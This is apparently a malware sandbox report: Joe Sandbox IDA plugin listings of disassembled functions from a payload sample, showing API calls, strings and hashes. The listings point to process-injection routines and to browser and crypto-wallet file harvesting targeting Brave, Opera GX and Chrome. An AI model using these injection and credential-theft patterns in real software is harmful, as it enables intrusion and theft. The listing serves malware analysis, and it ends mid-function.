Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateProcessA$GetThreadContext$HttpQueryInfoA$InternetSetOptionA$ReadProcessMemory$ResumeThread$SetThreadContext$SymMatchString$VirtualAllocEx$WriteProcessMemory$dbghelp.dll
API String ID: 2238633743-2740034357
Opcode ID: 73b0a26ea1030fa9c7fcae7d112204d0da789a9c0e9af0d42964f2c17a471b92
Instruction ID: f1ecf5cb98eed5fafe5be2b748841de6417b3a1927152ff04a6a198ff295f426
Opcode Fuzzy Hash: 73b0a26ea1030fa9c7fcae7d112204d0da789a9c0e9af0d42964f2c17a471b92
Instruction Fuzzy Hash: D6624CB5A902019FD704DFA5EE889273BFAE798701304F519E90AC3374E7B9A845DF21

Function 003D2000 Relevance: 70.1, APIs: 39, Strings: 1, Instructions: 124
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D2014
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D201B
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D2022
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D2029
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D2030
GetProcessHeap.KERNEL32(00000000,?,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D203B
RtlAllocateHeap.NTDLL(00000000,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D2042
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D2052
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D2059
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D2060
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D2067
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D206E
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D2079
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D2080
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D2087
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D208E
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D2095
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D20AB
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D20B2
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D20B9
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D20C0
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D20C7
lstrlenA.KERNEL32(?,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D20CF
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D20F0
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D20F7
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D20FE
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D2105
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D210C
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D211C
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D2123
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D212A
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D2131
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ,?,?,?,AVAI4Z1EK55HX1Z,0000000F,003E75FB), ref: 003D2138
VirtualProtect.KERNEL32(00000000,00000004,00000100,?), ref: 003D214D
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 003D2158
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 003D215F
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 003D2166
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 003D216D
lstrlenW.KERNEL32(In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention ), ref: 003D2174

Strings

In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention , xrefs: 003D200F, 003D2016, 003D201D, 003D2024, 003D202B, 003D204A, 003D2054, 003D205B, 003D2062, 003D2069, 003D2070, 003D207B, 003D2082, 003D2089, 003D2090, 003D20A6, 003D20AD, 003D20B4, 003D20BB, 003D20C2, 003D20E0, 003D20F2, 003D20F9, 003D2100, 003D2107, 003D2117, 003D211E, 003D2125, 003D212C, 003D2133, 003D2153, 003D215A, 003D2161, 003D2168, 003D216F

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtual
String ID: In the run up to the 2009 Greek legislative election, various organizations carried out opinion polling to gauge voting intention
API String ID: 2533436356-3600131318
Opcode ID: b7823c3c1101228d92e7fb4eb02ad0418d2f9221fa0f23c83d23e35880774b45
Instruction ID: 2c82ccd88f3123823d43148e06ced7b05b1ab5547b998e00f28f7f493b8dd026
Opcode Fuzzy Hash: b7823c3c1101228d92e7fb4eb02ad0418d2f9221fa0f23c83d23e35880774b45
Instruction Fuzzy Hash: C4318629F8032DF786DB6BBE5C4ADBE6E75FF8CB60B004257F60855182C9A05501CAA3

Function 003E4F80 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 325
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 003E4FA0
FindFirstFileA.KERNEL32(?,?), ref: 003E4FB7
memset.MSVCRT ref: 003E4FD0
memset.MSVCRT ref: 003E4FE3
StrCmpCA.SHLWAPI(?,003F01DC), ref: 003E500F
StrCmpCA.SHLWAPI(?,003F01D8), ref: 003E5029
wsprintfA.USER32 ref: 003E504E
StrCmpCA.SHLWAPI(?,003F01E9), ref: 003E5060
wsprintfA.USER32 ref: 003E5088

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

wsprintfA.USER32 ref: 003E50AA
memset.MSVCRT ref: 003E50C1
lstrcatA.KERNEL32(?,?), ref: 003E50D1
strtok_s.MSVCRT ref: 003E50E7
strtok_s.MSVCRT ref: 003E5116
memset.MSVCRT ref: 003E5130
lstrcatA.KERNEL32(?,?), ref: 003E5140
strtok_s.MSVCRT ref: 003E5156
PathMatchSpecA.SHLWAPI(?,00000000), ref: 003E516E
DeleteFileA.KERNEL32(00000000,00000000,?,031D52F0,?,?,?,003F01E0,?,00000000,?,003F01E9), ref: 003E520F
CopyFileA.KERNEL32(?,00000000,00000001), ref: 003E5227

Part of subcall function 003E0F90: CreateFileA.KERNEL32(;R>,80000000,00000003,00000000,00000003,00000080,00000000,?,003E523B,00000000,?,003F01E9), ref: 003E0FAD
Part of subcall function 003E0F90: GetFileSizeEx.KERNEL32(00000000,?,?,003F01E9), ref: 003E0FBF
Part of subcall function 003E0F90: CloseHandle.KERNEL32(00000000,?,003F01E9), ref: 003E0FCA

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 003E5247
DeleteFileA.KERNEL32(00000000,00000000,?,000003E8,00000000,?,?,003F01E9), ref: 003E5259
strtok_s.MSVCRT ref: 003E5272
FindNextFileA.KERNELBASE(?,?), ref: 003E5374
FindClose.KERNEL32(?), ref: 003E5386

Strings

%s\%s\%s, xrefs: 003E5082
%s\%s, xrefs: 003E5048, 003E50A4
%s\*.*, xrefs: 003E4F9A

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: File$memsetstrtok_swsprintf$Find$CloseDeletelstrcat$CopyCreateFirstHandleMatchNextPathSizeSpecUnothrow_t@std@@@__ehfuncinfo$??2@lstrcpy
String ID: %s\%s$%s\%s\%s$%s\*.*
API String ID: 3252185717-1853381274
Opcode ID: 7e10e4f8f8366144a3495302563363db23539cfd28d892aa99af4f51aff92567
Instruction ID: a9fbc5153e565edcb29086d499a0d8ede92f4642229ba22a1aad82361cf73515
Opcode Fuzzy Hash: 7e10e4f8f8366144a3495302563363db23539cfd28d892aa99af4f51aff92567
Instruction Fuzzy Hash: C8C196B6910258AFDB15EBB0DC85FEF737CBF44700F048659F50AA6181EB71AA44CBA1

Function 003E76E0 Relevance: 48.2, APIs: 32, Instructions: 222
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,031D1BD8), ref: 003E7748
GetProcAddress.KERNEL32(74DD0000,031D1D10), ref: 003E7761
GetProcAddress.KERNEL32(74DD0000,031D1D28), ref: 003E7779
GetProcAddress.KERNEL32(74DD0000,031D1C08), ref: 003E7791
GetProcAddress.KERNEL32(74DD0000,031C6710), ref: 003E77AA
GetProcAddress.KERNEL32(74DD0000,031C75A0), ref: 003E77C2
GetProcAddress.KERNEL32(74DD0000,031C7400), ref: 003E77DA
GetProcAddress.KERNEL32(74DD0000,031D1A88), ref: 003E77F3
GetProcAddress.KERNEL32(74DD0000,031D1CB0), ref: 003E780B
GetProcAddress.KERNEL32(74DD0000,031D1CC8), ref: 003E7823
GetProcAddress.KERNEL32(74DD0000,031D1AD0), ref: 003E783C
GetProcAddress.KERNEL32(74DD0000,031C75C0), ref: 003E7854
GetProcAddress.KERNEL32(74DD0000,031D1AB8), ref: 003E786C
GetProcAddress.KERNEL32(74DD0000,031D1B30), ref: 003E7885
GetProcAddress.KERNEL32(74DD0000,031C73E0), ref: 003E789D
GetProcAddress.KERNEL32(74DD0000,031D1DA0), ref: 003E78B5
GetProcAddress.KERNEL32(74DD0000,031D1E48), ref: 003E78CE
GetProcAddress.KERNEL32(74DD0000,031C74E0), ref: 003E78E6
GetProcAddress.KERNEL32(74DD0000,031D1DD0), ref: 003E78FE
GetProcAddress.KERNEL32(74DD0000,031C76C0), ref: 003E7917
LoadLibraryA.KERNEL32(031D1D88), ref: 003E7928
LoadLibraryA.KERNEL32(031D1DB8), ref: 003E793A
LoadLibraryA.KERNEL32(031D1DE8), ref: 003E794C
LoadLibraryA.KERNEL32(031D1E00), ref: 003E795D
LoadLibraryA.KERNEL32(031D1E18), ref: 003E796F
GetProcAddress.KERNEL32(75A70000,031D1E30), ref: 003E798B
GetProcAddress.KERNEL32(75290000,031D2DB0), ref: 003E79A7
GetProcAddress.KERNEL32(75290000,031D2DF8), ref: 003E79BF
GetProcAddress.KERNEL32(75BD0000,031D2E58), ref: 003E79DB
GetProcAddress.KERNEL32(75450000,031C7420), ref: 003E79F7
GetProcAddress.KERNEL32(76E90000,031C67B0), ref: 003E7A13
GetProcAddress.KERNEL32(76E90000,031CA650), ref: 003E7A2B

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: f216dedce122f842af15ee0bcba15d202033329823d52b015435ae6782279975
Instruction ID: d9441a7853b98f01792639714a7f9e6fb97ab52bebf4a4b0c8332eb115f8a68e
Opcode Fuzzy Hash: f216dedce122f842af15ee0bcba15d202033329823d52b015435ae6782279975
Instruction Fuzzy Hash: 49A14FB56912019FD704DFA4EE889273BFAF798341308F519E90AC3374E7B8A845DB52

Function 003DC2E0 Relevance: 44.5, APIs: 20, Strings: 5, Instructions: 767
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

Part of subcall function 003DF940: lstrcpyA.KERNEL32(00000000,?,00000000,003E76BE), ref: 003DF981
Part of subcall function 003DF940: lstrcatA.KERNEL32(00000000), ref: 003DF98D

Part of subcall function 003DF9A0: lstrlenA.KERNEL32(?,?,?,?,?,003E7633,?,031C65F0,?,003F3414,?,00000000,003F01E9), ref: 003DF9B9
Part of subcall function 003DF9A0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF9E1
Part of subcall function 003DF9A0: lstrcatA.KERNEL32(?,?), ref: 003DF9EB

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

FindFirstFileA.KERNEL32(00000000,?,003F01E9,003F01E9,00000000,?,?,?,003F34C0,003F01E9,?,00000000,?), ref: 003DC35C
StrCmpCA.SHLWAPI(?,003F01DC), ref: 003DC38C
StrCmpCA.SHLWAPI(?,003F01D8), ref: 003DC3A6

Part of subcall function 003DF8A0: lstrlenA.KERNEL32(003E76BE,?,00000000,?,003E6587,003F01E9,003F01E9,?,00000000,?,?,003E76BE), ref: 003DF8AB
Part of subcall function 003DF8A0: lstrcpyA.KERNEL32(00000000,003E76BE), ref: 003DF8E2

StrCmpCA.SHLWAPI(00000000,Opera GX,00000000,?,?,?,003F01E0,?,?,003F01E9), ref: 003DC43F
StrCmpCA.SHLWAPI(00000000,Brave,00000000,?,003F01E0,?,031D08E8,?,003F01E0,?,031D09A8,00000000,?,?,?,003F01E0), ref: 003DC5D6
StrCmpCA.SHLWAPI(?,Preferences), ref: 003DC5F0
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 003DC6B4
DeleteFileA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,003F01E9), ref: 003DC77B
StrCmpCA.SHLWAPI(?,031D51E8), ref: 003DC7AF

Part of subcall function 003DF850: lstrcpyA.KERNEL32(00000000,?,?), ref: 003DF878

Part of subcall function 003DBF30: CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 003DBFD7
Part of subcall function 003DBF30: CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 003DC00B

Part of subcall function 003DC2E0: StrCmpCA.SHLWAPI(?,031D09A8), ref: 003DC813
Part of subcall function 003DC2E0: StrCmpCA.SHLWAPI(00000000,031D08E8), ref: 003DC82D

FindNextFileA.KERNELBASE(?,?), ref: 003DCD02
FindClose.KERNEL32(?), ref: 003DCD14

Strings

\BraveWallet\Preferences, xrefs: 003DC6CD
Opera GX, xrefs: 003DC42E
Preferences, xrefs: 003DC5E4
Brave, xrefs: 003DC5C5
Google Chrome, xrefs: 003DCA6F

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$CopyFind$lstrcatlstrlen$CloseDeleteFirstNext
String ID: Brave$Google Chrome$Opera GX$Preferences$\BraveWallet\Preferences
API String ID: 480569104-1189830961
Opcode ID: 781de10e4d1b4567f18bddb0e2c992b6b7d82c4e63e9a6b8f96ebda95c1e1586
Instruction ID: b37226fd3010638edc558eae8beb56d6e9949b11caea3db83a1d1dec60508d4a
Opcode Fuzzy Hash: 781de10e4d1b4567f18bddb0e2c992b6b7d82c4e63e9a6b8f96ebda95c1e1586
Instruction Fuzzy Hash: 785267769101486FCB16FB70EC96EEE773CAF54300F44856AF5079A291EF306A48DBA1

Function 6C2935A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C31F688,00001000), ref: 6C2935D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C2935E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C2935FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C29363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C29369F
__aulldiv.LIBCMT ref: 6C2936E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C293773
EnterCriticalSection.KERNEL32(6C31F688), ref: 6C29377E
LeaveCriticalSection.KERNEL32(6C31F688), ref: 6C2937BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C2937C4
EnterCriticalSection.KERNEL32(6C31F688), ref: 6C2937CB
LeaveCriticalSection.KERNEL32(6C31F688), ref: 6C293801
__aulldiv.LIBCMT ref: 6C293883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C293902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C293918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C29394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6C2935DB
QPC, xrefs: 6C2938FC
GenuntelineI, xrefs: 6C293639
GTC, xrefs: 6C293912
AuthcAMDenti, xrefs: 6C293946

Memory Dump Source

Source File: 00000000.00000002.2206661284.000000006C291000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C290000, based on PE: true

Associated: 00000000.00000002.2206605715.000000006C290000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206835734.000000006C31E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206892942.000000006C322000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c290000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 7d9df180bcc4310db24914998da3415ee00acdd7c7a2fac082150d1165311ff0
Instruction ID: 21a9d02635485c27551d52b1a2c80de067b1b891ca32421a02485af0b09ee46f
Opcode Fuzzy Hash: 7d9df180bcc4310db24914998da3415ee00acdd7c7a2fac082150d1165311ff0
Instruction Fuzzy Hash: 45B1C2B1B083109FDB08DF29D85665ABBF9FB8E704F04892EE899D7B50D7749801CB91

Function 003E5EA0 Relevance: 35.2, APIs: 18, Strings: 2, Instructions: 227stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 003E5EBC
FindFirstFileA.KERNEL32(?,?), ref: 003E5ED3
StrCmpCA.SHLWAPI(?,003F01DC), ref: 003E5EFC
